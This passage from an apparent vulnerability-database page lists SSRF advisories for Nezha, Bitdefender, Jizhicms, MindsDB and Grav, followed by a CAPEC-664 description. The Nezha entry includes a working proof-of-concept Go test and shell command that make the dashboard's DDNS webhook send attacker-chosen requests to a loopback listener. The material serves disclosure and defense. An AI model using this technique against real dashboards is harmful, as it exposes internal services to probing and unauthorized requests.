`utils.HttpClient.Do(req)`.\n- `pkg/ddns/webhook/webhook.go:85-100` formats and applies attacker-controlled headers.\n- `pkg/ddns/webhook/webhook.go:91-92` creates the request with the configured method and URL.\n- `pkg/ddns/webhook/webhook.go:117-134` parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.\n- `pkg/ddns/webhook/webhook.go:137-158` builds attacker-controlled request bodies for POST/PATCH/PUT.\n\nThe project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:\n\n- `model/notification.go:34-58` defines blocked private/reserved CIDRs.\n- `model/notification.go:193-221` creates a notification HTTP client that resolves and pins a validated IP and disables redirects.\n- `model/notification.go:229-263` only allows `http`/`https`, requires a hostname, resolves all addresses, and rejects disallowed IPs.\n- `model/notification.go:265-276` rejects blocked ranges and non-global-unicast targets.\n\nEquivalent validation was not found in `pkg/ddns/webhook/webhook.go`.\n\n#### Safe local PoC\n\nEnvironment:\n\n- Repository: `https://github.com/nezhahq/nezha.git`\n- Commit tested: `05e5da2535197fc223b79601d50eeea362dcf853`\n- Tag at commit: `v2.0.9`\n- Module: `github.com/nezhahq/nezha`\n- Go version: `go1.26.3 linux/amd64`\n- Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.\n\nA temporary same-package test was created and removed automatically after execution. It used a local `httptest` listener as the internal service and a local UDP DNS server that returned an SOA for `example.com.`. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.\n\nCommand run:\n\n```bash\ntmp=\"pkg/ddns/ddns_ssrf_local_poc_test.go\"; trap \u0027rm -f \"$tmp\"\u0027 EXIT; cat \u003e \"$tmp\" \u003c\u003c\u0027EOF\u0027\npackage ddns\n\nimport (\n    \"context\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"testing\"\n\n    \"github.com/miekg/dns\"\n    \"github.com/nezhahq/nezha/model\"\n    \"github.com/nezhahq/nezha/pkg/ddns/webhook\"\n)\n\nfunc TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {\n    hit := make(chan string, 1)\n    httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        body, _ := io.ReadAll(r.Body)\n        hit \u003c- r.Method + \" \" + r.URL.Path + \" \" + r.Header.Get(\"X-Proof\") + \" \" + string(body)\n        w.WriteHeader(http.StatusNoContent)\n    }))\n    defer httpSrv.Close()\n\n    dnsPacketConn, err := net.ListenPacket(\"udp\", \"127.0.0.1:0\")\n    if err != nil {\n        t.Fatal(err)\n    }\n    dnsSrv := \u0026dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {\n        msg := new(dns.Msg)\n        msg.SetReply(r)\n        if len(r.Question) \u003e 0 \u0026\u0026 r.Question[0].Qtype == dns.TypeSOA {\n            msg.Answer = append(msg.Answer, \u0026dns.SOA{\n                Hdr:     dns.RR_Header{Name: \"example.com.\", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},\n                Ns:      \"ns.example.com.\",\n                Mbox:    \"hostmaster.example.com.\",\n                Serial:  1,\n                Refresh: 60,\n                Retry:   60,\n                Expire:  60,\n                Minttl:  60,\n            })\n        }\n        _ = w.WriteMsg(msg)\n    })}\n    go func() { _ = dnsSrv.ActivateAndServe() }()\n    defer dnsSrv.Shutdown()\n\n    enableIPv4 := true\n    enableIPv6 := false\n    profile := \u0026model.DDNSProfile{\n        EnableIPv4:         \u0026enableIPv4,\n        EnableIPv6:         \u0026enableIPv6,\n        MaxRetries:         1,\n        Domains:            []string{\"host.example.com\"},\n        Provider:           model.ProviderWebHook,\n        WebhookURL:         httpSrv.URL + \"/internal\",\n        WebhookMethod:      2,\n        WebhookRequestType: 1,\n        WebhookRequestBody: `{\"ip\":\"#ip#\",\"domain\":\"#domain#\",\"type\":\"#type#\"}`,\n        WebhookHeaders:     `{\"X-Proof\":\"nezha-ddns-pipeline-ssrf\"}`,\n    }\n    provider := \u0026Provider{\n        DDNSProfile: profile,\n        IPAddrs:     \u0026model.IP{IPv4Addr: \"203.0.113.10\"},\n        Setter:      \u0026webhook.Provider{DDNSProfile: profile},\n    }\n\n    ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})\n    if err := provider.updateDomain(ctx, \"host.example.com\"); err != nil {\n        t.Fatalf(\"updateDomain returned error: %v\", err)\n    }\n\n    select {\n    case got := \u003c-hit:\n        t.Logf(\"observed loopback request through DDNS update pipeline: %s\", got)\n    default:\n        t.Fatalf(\"expected loopback listener to receive DDNS webhook request\")\n    }\n}\nEOF\ngo test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v\n```\n\nObserved output:\n\n```text\n=== RUN   TestLocalPoCDDNSUpdatePipelineReachesLoopback\n    ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {\"ip\":\"203.0.113.10\",\"domain\":\"host.example.com\",\"type\":\"ipv4\"}\n--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)\nPASS\nok  \tgithub.com/nezhahq/nezha/pkg/ddns\t0.009s\n```\n\nA lower-level provider-only confirmation was also run with `go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v` and observed:\n\n```text\nobserved loopback request: POST /internal nezha-ddns-ssrf {\"ip\":\"203.0.113.10\",\"domain\":\"host.example.com\",\"type\":\"ipv4\"}\n```\n\nCleanup:\n\n- Both temporary PoC test files were removed by shell `trap`.\n- `find . -path \u0027./.git\u0027 -prune -o \\( -name \u0027ssrf_local_poc_test.go\u0027 -o -name \u0027ddns_ssrf_local_poc_test.go\u0027 \\) -print` returned no files.\n\n#### Impact\n\nAn authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.\n\nPotential impacts depend on deployment and reachable internal services, but include:\n\n- Blind probing of internal HTTP services from the dashboard network location.\n- Triggering state-changing internal endpoints that trust localhost or private network origins.\n- Reaching services not exposed to the attacker directly.\n- Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.\n\nThe response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.",
  "id": "GHSA-6x26-5727-rrm9",
  "modified": "2026-06-26T21:28:39Z",
  "published": "2026-05-29T22:10:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-6x26-5727-rrm9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47268"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha\u0027s authenticated DDNS webhook configuration allows blind SSRF from the dashboard host"
}

GHSA-6X2G-JP65-M547

Vulnerability from github – Published: 2022-05-24 19:21 – Updated: 2022-05-24 19:21
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability in the EPPUpdateService of Bitdefender Endpoint Security Tools allows an attacker to use the Endpoint Protection relay as a proxy for any remote host. This issue affects: Bitdefender Endpoint Security Tools versions prior to 6.6.27.390; versions prior to 7.1.2.33. Bitdefender Unified Endpoint for Linux versions prior to 6.2.21.160. Bitdefender GravityZone versions prior to 6.24.1-1.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-24T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability in the EPPUpdateService of Bitdefender Endpoint Security Tools allows an attacker to use the Endpoint Protection relay as a proxy for any remote host. This issue affects: Bitdefender Endpoint Security Tools versions prior to 6.6.27.390; versions prior to 7.1.2.33. Bitdefender Unified Endpoint for Linux versions prior to 6.2.21.160. Bitdefender GravityZone versions prior to 6.24.1-1.",
  "id": "GHSA-6x2g-jp65-m547",
  "modified": "2022-05-24T19:21:17Z",
  "published": "2022-05-24T19:21:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3553"
    },
    {
      "type": "WEB",
      "url": "https://www.bitdefender.com/support/security-advisories/server-side-request-forgery-eppupdateservice-remote-config-file-va-9825"
    },
    {
      "type": "WEB",
      "url": "https://www.bitdefender.com/support/security-advisories/server-side-request-forgery-in-eppupdateservice-remote-config-file-va-9825"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6X33-6GC7-RP43

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-16 00:00
VLAI
Details

Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Update function in app/admin/c/TemplateController.php.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-31390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-09T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Update function in app/admin/c/TemplateController.php.",
  "id": "GHSA-6x33-6gc7-rp43",
  "modified": "2022-06-16T00:00:22Z",
  "published": "2022-06-10T00:00:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cherry-toto/jizhicms/issues/75"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6XW9-2P64-7622

Vulnerability from github – Published: 2026-02-16 06:31 – Updated: 2026-06-06 00:37
VLAI
Summary
MindsDB affected by a SSRF vulnerability
Details

A security vulnerability has been detected in MindsDB up to 25.14.1. This vulnerability affects the function clear_filename of the file mindsdb/utilities/security.py of the component File Upload. Such manipulation leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "MindsDB"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T17:47:09Z",
    "nvd_published_at": "2026-02-16T04:15:51Z",
    "severity": "LOW"
  },
  "details": "A security vulnerability has been detected in MindsDB up to 25.14.1. This vulnerability affects the function clear_filename of the file mindsdb/utilities/security.py of the component File Upload. Such manipulation leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.",
  "id": "GHSA-6xw9-2p64-7622",
  "modified": "2026-06-06T00:37:43Z",
  "published": "2026-02-16T06:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2531"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/issues/12163"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/pull/12213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/themavik/mindsdb/commit/74d6f0fd4b630218519a700fbee1c05c7fd4b1ed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mindsdb/mindsdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2026-91.yaml"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.346119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.346119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.748219"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MindsDB affected by a SSRF vulnerability"
}

GHSA-729W-J79F-2C34

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-17 19:47
VLAI
Summary
Grav may be vulnerable to SSRF attack via Twig Templates
Details

In grav <1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.49.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-17T19:40:24Z",
    "nvd_published_at": "2025-12-15T16:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "In grav \u003c1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered.",
  "id": "GHSA-729w-j79f-2c34",
  "modified": "2025-12-17T19:47:12Z",
  "published": "2025-12-15T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66844"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Yohane-Mashiro/grav_cve/issues/2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav may be vulnerable to SSRF attack via Twig Templates"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list